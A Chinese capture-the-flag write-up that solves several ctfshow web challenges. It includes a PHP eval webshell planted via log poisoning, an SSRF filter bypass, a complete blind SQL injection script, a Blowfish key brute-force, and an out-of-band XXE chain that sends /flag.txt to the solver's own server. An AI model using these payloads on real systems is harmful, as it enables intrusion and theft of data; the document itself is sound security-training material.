ak赛 wp
签到_观己
正则匹配过滤了php,且大小写不敏感,后面又有include函数,已经是对php的伪协议的一个考点。
php被过滤,我们可以用data://伪协议
发现allow_url_include没有开启,还得另寻他法。做题的时候没想到有日志包含,还是题做得太少了。
payload:file=/var/log/nginx/access.log
通过将一句话木马写入到UA中
<?php eval($_POST[cmd])?>
执行一句话即可得到flag
payload:cmd=system('ls /');
payload:cmd=system('cat flag.txt');
web1_观字
<?php
#flag in http://192.168.7.68/flag
if(isset($_GET['url'])){
$url = $_GET['url'];
$protocol = substr($url, 0,7);
if($protocol!='http://'){
die('仅限http协议访问');
}
if(preg_match('/\.|\;|\||\<|\>|\*|\%|\^|\(|\)|\#|\@|\!|\`|\~|\+|\'|\"|\.|\,|\?|\[|\]|\{|\}|\!|\&|\$|0/', $url)){
die('仅限域名地址访问');
}
system('curl '.$url);
}
已经说了flag在http://192.168.7.68/flag
下面$protocol要求url前面的七位是http://,我们做题的时候可以不用管这个,直接看下面的正则匹配,发现 . 被过滤了。
想到通过编码来绕过
二是将ip地址进行进制转换在线ip进制转换
但是因为这题不能有0,所以无法使用
然后在一篇文章中发现url中.是可以被。代替的
payload:url=http://192。168。7。68/flag
web2_观星
打开之后随便点开一个发现了熟悉的id=?,看来又是一道注入题。
http://d6ae8260-61e8-42ac-bde8-85f1c21869e0.chall.ctf.show/index.php?id=2
先fuzz一下,看那些函数能用,或者过滤了什么
未过滤^,选择盲注,替换掉被过滤的函数
^case(ord(substr((select(flag)from(flag))from({0})for(1))))when({1})then(2)else(3)end
直接上脚本,跑就行了
import requests
url = 'http://d6ae8260-61e8-42ac-bde8-85f1c21869e0.chall.ctf.show/index.php?id=1^'
# payload = 'case(ord(substr((database())from({0})for(1))))when({1})then(2)else(3)end' web1
# payload = 'case(ord(substr((select(group_concat(table_name))from(information_schema.tables)where((table_schema)regexp(database())))from({0})for(1))))when({1})then(2)else(3)end' flag,page,user
# payload = 'case(ord(substr((select(group_concat(column_name))from(information_schema.columns)where((table_name)regexp(0x666C6167)))from({0})for(1))))when({1})then(2)else(3)end' FLAG_COLUMN,flag
payload = 'case(ord(substr((select(flag)from(flag))from({0})for(1))))when({1})then(2)else(3)end'
flag = ''
for i in range(1, 128):
for j in range(38, 126):
urls = url+payload.format(i, j)
request = requests.get(urls)
if 'I asked nothing' in request.text:
flag += chr(j)
print(flag)
break
web3_观图
/showImage.php?image=Z6Ilu83MIDw=
在/showImage.php得到源码
<?php
//$key = substr(md5('ctfshow'.rand()),3,8);
//flag in config.php
include('config.php');
if(isset($_GET['image'])){
$image=$_GET['image'];
$str = openssl_decrypt($image, 'bf-ecb', $key);
if(file_exphpists($str)){
header('content-type:image/gif');
echo file_get_contents($str);
}
}else{
highlight_file(__FILE__);
}
?>
可以看到图片文件名是Z6Ilu83MIDw=经过bf-ecb算法用$key 得 到 的 ,
再看key的生成方式
substr(md5(‘ctfshow’.rand()),3,8);
查询rand() 函数,若里面的参数为空,则返回0 到getrandmax()
(getrandmax() 只有 32767)
之间的伪随机整数
getrandmax()函数返回随机数可能返回的最大值,既然有上限即可进行爆破来得出key 值
<?php
for($i=0;$i<getrandmax();$i++){
$key = substr(md5('ctfshow'.$i),3,8); //5a78dbb4
$image="Z6Ilu83MIDw=";
$str = openssl_decrypt($image, 'bf-ecb', $key);
if(strpos($str,"gif") or strpos($str,"jpg") or strpos($str,"png")){
print($str."\n");
print($i."\n");
print($key."\n");
break;
}
}
$str1 = openssl_encrypt('config.php', 'bf-ecb', '5a78dbb4');
print($str1);
?>
得到N6bf8Bd8jm0SpmTZGl0isw==
/showImage.php?image=N6bf8Bd8jm0SpmTZGl0isw==
访问,下载得到flag
web4_观心
查看源码获得提示
<!-- flag in filesystem /flag.txt -->
点击占卜的时候,会发现有个api.php请求,向外部请求了xml文件很明显xxe的特征
是向其他网站做请求,所以,我们可以将请求指定到自己的vps所以,将这下面这两个文件放到自己的vps上,构造攻击链,通过请求test.xml,然后达到请求dtd文件,dtd文件在这里的作用是利用php伪协议读取flag。
test.xml
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE test [
<!ENTITY % remote SYSTEM "http://ip/test/test.dtd">
%remote;%int;%send; ]>
<reset><login>bee</login><secret>Any bugs?</secret></reset>
test.dtd
<!ENTITY % p1 SYSTEM "php://filter/read=convert-base64.encode/resource=/flag.txt">
<!ENTITY % p2 "<!ENTITY xxe SYSTEM 'http://ip/test/pass=%p1;'>">
%p2;
然后访问,即可得到flag
总结
冲冲冲,星光不负赶路人。